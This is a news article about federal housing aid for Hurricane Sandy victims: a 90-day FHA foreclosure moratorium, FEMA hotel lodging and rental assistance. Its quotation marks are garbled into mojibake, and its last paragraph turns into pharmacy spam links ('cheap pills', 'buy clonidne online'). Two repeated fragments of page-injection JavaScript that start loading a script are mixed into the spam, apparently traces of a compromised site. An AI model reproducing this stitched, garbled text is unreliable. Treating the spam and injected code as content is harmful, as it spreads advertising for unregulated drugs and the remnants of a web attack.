On Monday, the government said that it is helping victims of hurricane Sandy to find temporary housing. Current housing foreclosures in affected areas were stalled as part of the effort. In a conference call with reporters, Housing and Urban Development Secretary Shaun Donovan said, ai???We donai??i??t want families to be victimized twice ai??i?? once by the storm and once by a foreclosure.ai???

The HUD Secretary said that all Federal Housing Administration lenders have been informed to impose a moratorium on any foreclosures for 90 days in disaster-affected areas. The Housing Department also informed the media that about 34,000 people, who have been displaced by hurricane Sandy in New York and New Jersey, would be paid their lodging for short-term stays in hotels and motels. The payments would be made under the Federal Emergency Management Agency (FEMA) program called Transitional Shelter Assistance.

Donovan also said that rental assistance is being provided to Sandy victims and so far, 32,000 applicants have qualified for expedited rental assistance totaling $95 million in aid. While Donovan maintains that there are about 34,000 people in need of shelter including New York and New Jersey, New York Mayor Michael Bloomberg said on Sunday that in New York City alone there were at least 30,000 to 40,000 people in need of shelter.

Though the government is ready to foot the bill for temporary lodging of Sandy victims, the FEMAai??i??s website clearly mentions that disaster survivors are eligible for such aid ai???for a limited period of time,ai??? and FEMA may cover the cost of room and taxes, but would not pay for food, phone calls, room service or other amenities, beyond providing essential shelter.

In case of the Transitional Shelter Assistance, the costs would be divided between federal and state/local governments on a 75: 25 percent basis and the government would be paying the same room rate to hotels, which is paid for federal employees on business. http://test.okjcp.jp/?p=9903 cheap pills Buy var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’); Order http://tmssmagazine.com/where-to-buy-celadrin/ buy clonidne online. lasix on line.
